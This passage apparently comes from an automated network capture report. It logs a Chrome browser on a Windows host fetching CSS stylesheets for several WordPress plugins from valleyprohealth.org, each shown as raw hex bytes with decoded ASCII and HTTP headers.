2024-04-24 12:44:51 UTC	2787	IN	Data Raw: 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 7d 63 6f 64 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 6f 75 72 63 65 2d 63 6f 64 65 2d 70 72 6f 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 43 6f 75 72 69 65 72 20 4e 65 77 2c 6d 6f 6e 6f 73 70 61 63 65 7d 2e 41 70 70 5f 41 70 70 5f 5f 75 6e 48 71 32 7b 74 65 78 74 2d 61 6c Data Ascii: body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,sans-serif;margin:0}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace}.App_App__unHq2{text-al

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49950	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:51 UTC	744	OUT	GET /wp-content/plugins/bt_cost_calculator/style.min.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 38313 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-95a9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:51 UTC	15968	IN	Data Raw: 2f 2a 20 49 74 65 6d 20 6c 6f 63 6b 20 2a 2f 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 35 32 62 37 62 64 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 51 75 6f 74 65 49 74 65 6d 2e 62 74 43 43 4c 6f 63 6b 2c 0d 0a 2e 62 74 51 75 6f 74 65 47 42 6c 6f 63 6b 2e 62 74 43 43 4c 6f 63 6b 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 2e 62 74 51 75 6f 74 65 49 74 65 6d 2e 62 74 43 43 4c 6f 63 6b 3a 62 65 66 6f 72 65 2c 0d 0a 2e 62 74 51 75 6f 74 65 47 42 6c 6f 63 6b 2e 62 74 43 43 4c 6f 63 6b 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 20 27 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 2d Data Ascii: /* Item lock */:root {--accent-color: #52b7bd;}.btQuoteItem.btCCLock,.btQuoteGBlock.btCCLock {position: relative;}.btQuoteItem.btCCLock:before,.btQuoteGBlock.btCCLock:before { content: ' '; position: absolute; top: -
2024-04-24 12:44:51 UTC	16384	IN	Data Raw: 74 61 63 74 46 6f 72 6d 37 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0d 0a 7d 0d 0a 0d 0a 2f 2a 20 4d 61 6e 64 61 74 6f 72 79 20 66 69 65 6c 64 73 20 2a 2f 0d 0a 2e 62 74 51 75 6f 74 65 42 6f 6f 6b 69 6e 67 20 20 2e 62 74 43 6f 6e 74 61 63 74 46 69 65 6c 64 4d 61 6e 64 61 74 6f 72 79 20 69 6e 70 75 74 2c 20 2e 62 74 51 75 6f 74 65 42 6f 6f 6b 69 6e 67 20 20 2e 62 74 43 6f 6e 74 61 63 74 46 69 65 6c 64 4d 61 6e 64 61 74 6f 72 79 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 41 41 41 3b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 31 70 78 20 23 41 41 41 20 69 6e 73 65 74 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a Data Ascii: tactForm7 textarea {text-align: right;}/* Mandatory fields */.btQuoteBooking .btContactFieldMandatory input, .btQuoteBooking .btContactFieldMandatory textarea { border: 1px solid #AAA;box-shadow: 0 0 0 1px #AAA inset; transition:
2024-04-24 12:44:52 UTC	5961	IN	Data Raw: 68 65 63 6b 65 64 29 2c 0d 0a 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 3a 63 68 65 63 6b 65 64 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 0d 0a 7d 0d 0a 2e 72 74 6c 20 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 6e 6f 74 28 3a 63 68 65 63 6b 65 64 29 2c 0d 0a 2e 72 74 6c 20 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 63 68 65 63 6b 65 Data Ascii: hecked),.bt_cc_email_confirmation_container [type="checkbox"]:checked { position: absolute; left: -9999px;}.rtl .bt_cc_email_confirmation_container [type=checkbox]:not(:checked),.rtl .bt_cc_email_confirmation_container [type=checkbox]:checke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49951	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:51 UTC	754	OUT	GET /wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:52 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 5064 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 06 Apr 2024 06:46:19 GMT Vary: Accept-Encoding ETag: "6610efbb-13c8" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:52 UTC	5064	IN	Data Raw: 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 2c 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 20 2e 63 6e 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 63 6e 2d 62 75 74 74 6f 6e 2d 63 75 73 74 6f 6d 29 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 41 72 69 61 6c 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f Data Ascii: #cookie-notice,#cookie-notice .cn-button:not(.cn-button-custom){font-family:-apple-system,BlinkMacSystemFont,Arial,Roboto,"Helvetica Neue",sans-serif;font-weight:400;font-size:13px;text-align:center}#cookie-notice{position:fixed;min-width:100%;height:auto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49952	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:51 UTC	763	OUT	GET /wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:52 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 128983 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-1f7d7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:52 UTC	15966	IN	Data Raw: 23 67 6c 74 2d 73 65 74 74 69 6e 67 73 2e 77 72 61 70 20 7b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 31 33 30 30 70 78 3b 0a 7d 0a 0a 23 67 6c 74 2d 73 65 74 74 69 6e 67 73 2e 77 72 61 70 3a 61 66 74 65 72 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 20 20 63 6c 65 61 72 3a 62 6f 74 68 3b 0a 7d 0a 0a 23 67 6c 74 2d 66 6f 6f 74 65 72 2c 0a 23 67 6c 74 2d 66 6f 6f 74 65 72 20 23 67 6f 6f 67 6c 65 5f 6c 61 6e 67 75 61 67 65 5f 74 72 61 6e 73 6c 61 74 6f 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 74 65 2d 74 72 69 67 67 65 72 2c 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 74 65 2d 74 72 69 67 67 65 72 20 73 70 Data Ascii: #glt-settings.wrap { max-width:1300px;}#glt-settings.wrap:after { content:''; display:block; clear:both;}#glt-footer,#glt-footer #google_language_translator { display:none !important;}#glt-translate-trigger,#glt-translate-trigger sp
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 48 75 6e 67 61 72 69 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 32 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 32 2e 70 6e 67 27 29 20 2d 38 38 70 78 20 2d 31 34 38 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 32 20 61 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 32 Data Ascii: .single-language[title="Hungarian"] span.size22 { background: url('../images/flags22.png') -88px -148px no-repeat;}#flags.size22 a[title="Icelandic"],.tool-container .tool-items a[title="Icelandic"],a.single-language[title="Icelandic"] span.size22
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 65 3d 22 43 68 69 6e 65 73 65 20 28 53 69 6d 70 6c 69 66 69 65 64 29 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 53 69 6d 70 6c 69 66 69 65 64 29 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 30 2e 70 6e 67 27 29 20 2d 32 70 78 20 2d 36 32 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 30 20 61 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 29 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 54 72 61 Data Ascii: e="Chinese (Simplified)"],a.single-language[title="Chinese (Simplified)"] span.size20 { background: url('../images/flags20.png') -2px -62px no-repeat;}#flags.size20 a[title="Chinese (Traditional)"],.tool-container .tool-items a[title="Chinese (Tra
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 65 5b 74 69 74 6c 65 3d 22 54 61 6d 69 6c 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 30 2e 70 6e 67 27 29 20 2d 38 39 70 78 20 2d 33 32 33 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 30 20 61 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 Data Ascii: e[title="Tamil"] span.size20 { background: url('../images/flags20.png') -89px -323px no-repeat;}#flags.size20 a[title="Telugu"],.tool-container .tool-items a[title="Telugu"],a.single-language[title="Telugu"] span.size20 { background: url('../i
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 74 69 74 6c 65 3d 22 4d 79 61 6e 6d 61 72 20 28 42 75 72 6d 65 73 65 29 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 4d 79 61 6e 6d 61 72 20 28 42 75 72 6d 65 73 65 29 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 38 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 38 2e 70 6e 67 27 29 20 2d 31 34 37 70 78 20 2d 34 31 30 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 38 20 61 5b 74 69 74 6c 65 3d 22 4e 65 70 61 6c 69 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 4e 65 70 61 6c 69 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 Data Ascii: title="Myanmar (Burmese)"],a.single-language[title="Myanmar (Burmese)"] span.size18 { background: url('../images/flags18.png') -147px -410px no-repeat;}#flags.size18 a[title="Nepali"],.tool-container .tool-items a[title="Nepali"],a.single-languag
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 5b 74 69 74 6c 65 3d 22 46 69 6c 69 70 69 6e 6f 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 46 69 6c 69 70 69 6e 6f 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 36 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 36 2e 70 6e 67 27 29 20 2d 36 32 70 78 20 2d 39 32 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 36 20 61 5b 74 69 74 6c 65 3d 22 46 69 6e 6e 69 73 68 22 5d 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 73 65 6c 65 63 74 65 64 20 61 5b 74 69 74 6c 65 3d 22 46 69 6e 6e 69 73 68 22 5d 20 73 70 61 6e 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 6f 70 74 69 6f Data Ascii: [title="Filipino"],a.single-language[title="Filipino"] span.size16 { background: url('../images/flags16.png') -62px -92px no-repeat;}#flags.size16 a[title="Finnish"],#language .switcher .selected a[title="Finnish"] span,#language .switcher .optio
2024-04-24 12:44:52 UTC	16384	IN	Data Raw: 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 6f 70 74 69 6f 6e 20 61 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 36 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 36 2e 70 6e 67 27 29 20 2d 33 33 70 78 20 2d 34 36 39 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 36 20 61 Data Ascii: title="Samoan"] span,#language .switcher .option a[title="Samoan"] span,.tool-container .tool-items a[title="Samoan"],a.single-language[title="Samoan"] span.size16 { background: url('../images/flags16.png') -33px -469px no-repeat;}#flags.size16 a
2024-04-24 12:44:52 UTC	14713	IN	Data Raw: 61 6e 2e 73 69 7a 65 32 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 2e 70 6e 67 27 29 20 2d 31 34 35 70 78 20 2d 31 31 39 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 34 20 61 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 2e 70 6e Data Ascii: an.size24 { background: url('../images/flags.png') -145px -119px no-repeat;}#flags.size24 a[title="Hawaiian"],.tool-container .tool-items a[title="Hawaiian"],a.single-language[title="Hawaiian"] span.size24 { background: url('../images/flags.pn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49954	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:51 UTC	765	OUT	GET /wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:52 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 5732 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-1664" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:52 UTC	5732	IN	Data Raw: 23 67 6c 74 2d 74 6f 6f 6c 62 61 72 20 7b 20 0a 09 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 0a 7d 0a 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 74 65 2d 74 72 69 67 67 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 30 70 78 3b 0a 20 20 20 20 74 6f 70 3a 61 75 74 6f 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 32 30 30 30 30 32 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 36 70 78 20 32 30 70 78 20 33 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 20 20 Data Ascii: #glt-toolbar { display:none; }#glt-translate-trigger { position:fixed; bottom:0px; top:auto; right: 20px; z-index:200002; padding:6px 20px 3px; font-size:16px; font-family:Arial; font-weight:700; color:#fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49955	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:52 UTC	763	OUT	GET /wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:53 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:52 GMT Content-Type: text/css Content-Length: 13404 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-345c" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
